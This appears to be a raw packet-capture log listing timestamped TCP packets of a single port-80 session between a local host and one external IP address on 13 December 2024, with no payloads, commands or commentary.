Dec 13, 2024 08:18:52.441615105 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.442620993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.442816973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.442948103 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.443778992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.443900108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.444022894 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.444972992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.445079088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.445194960 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.446199894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.446383953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.446501017 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.447361946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.447443008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.447555065 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.448544979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.448652029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.448765039 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.449738979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.449839115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.450956106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.451045036 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.451078892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.452136993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.452250004 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.452258110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.452696085 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.453347921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.453423977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.453536987 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.454530954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.454643011 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.454761982 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.455709934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.455835104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.455954075 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.456923008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.457010984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.457125902 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.458095074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.458204985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.458319902 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.459327936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.459418058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.459537983 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.460486889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.460598946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.460711002 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.461724043 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.461826086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.461935997 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.462963104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.462987900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.463085890 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.464096069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.464210987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.464297056 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.465271950 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.465369940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.465459108 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.466473103 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.466579914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.466742992 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.467670918 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.467804909 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.467900038 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.468947887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.469038010 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.469137907 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.470101118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.470113039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.470196962 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.471276999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.471390009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.471477032 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.472456932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.472533941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.472620964 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.473619938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.473740101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.473829985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.474853992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.474939108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.475105047 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.475970984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.527525902 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.605340004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.605479956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.605638027 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.605911016 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.606013060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.606107950 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.607105017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.607223034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.607325077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.608330965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.608462095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.608556986 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.609498024 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.609642982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.609747887 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.610724926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.610822916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.610923052 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.611887932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.612061024 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.612159014 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.613101959 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.613207102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.613297939 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.614279985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.614406109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.614501953 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.615492105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.615592003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.615685940 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.616656065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.616779089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.616874933 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.617858887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.617979050 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.618097067 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.619075060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.619152069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.619246960 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.620270014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.620373964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.620470047 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.621450901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.621587992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.621680975 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.622651100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.622771978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.622865915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.623827934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.623853922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.623960018 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.625025034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.625130892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.625226021 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.626213074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.626318932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.626414061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.627450943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.627599001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.627685070 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.628633976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.628734112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.628823042 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.629812002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.629924059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.630012989 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.631007910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.631115913 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.631205082 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.632199049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.632308006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.632396936 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.633405924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.633559942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.633661985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.634603024 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.634704113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.634793043 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.635777950 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.635879993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.635973930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.636971951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.637092113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.637182951 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.638147116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.638242960 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.638334036 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.639338970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.639462948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.639550924 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.640547037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.640634060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.640722990 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.641721964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.641830921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.641918898 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.642970085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.643075943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.643173933 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.644126892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.644251108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.644345045 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.645330906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.645451069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.645567894 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.646615028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.646747112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.646835089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.647736073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.647872925 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.647963047 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.648922920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.649024963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.649111986 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.650110006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.650273085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.650358915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.651294947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.651434898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.651580095 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.652512074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.652630091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.652725935 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.653711081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.653829098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.653918028 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.654886961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.654992104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.655078888 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.656090975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.656232119 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.656321049 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.657299042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.657354116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.657444000 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.658488989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.658600092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.658689022 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.659862995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.660239935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.660356045 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.660921097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.661036015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.661123991 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.662019968 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.662208080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.662297010 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.663233042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.663341045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.663431883 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.664438963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.664577007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.664669037 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.665628910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.665745020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.665832996 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.666825056 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.666914940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.667004108 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.667963028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.715039968 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.797319889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.797403097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.797580004 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.797871113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.798079967 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.798146009 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.798197031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.799302101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.799365044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.799382925 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.800522089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.800597906 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.800600052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.801693916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.801772118 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.801775932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.802865028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.802911043 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.802936077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.804063082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.804141045 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.804197073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.805270910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.805341959 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.805349112 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.806582928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.806641102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.806658983 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.807646990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.807725906 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.807774067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.808851004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.808921099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.808948040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.810074091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.810138941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.810165882 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.811268091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.811348915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.811369896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.812376976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.812458992 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.812547922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.813606977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.813678026 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.813688993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.814830065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.814918041 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.814929008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.815982103 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.816067934 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.816096067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.817187071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.817270041 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.817271948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.818397045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.818484068 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.818487883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.819626093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.819696903 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.819704056 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.820774078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.820846081 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.820869923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.821976900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.822055101 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.822072983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.823196888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.823277950 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.823292971 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.824321985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.824408054 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.824450970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.825589895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.825655937 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.825700045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.826782942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.826848030 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.826867104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.827930927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.827997923 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.828043938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.829132080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.829185963 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.829257965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.830363989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.830413103 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.830439091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.831537962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.831641912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.831666946 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.832679033 CET	80	49726	185.81.68.147	192.168.2.11
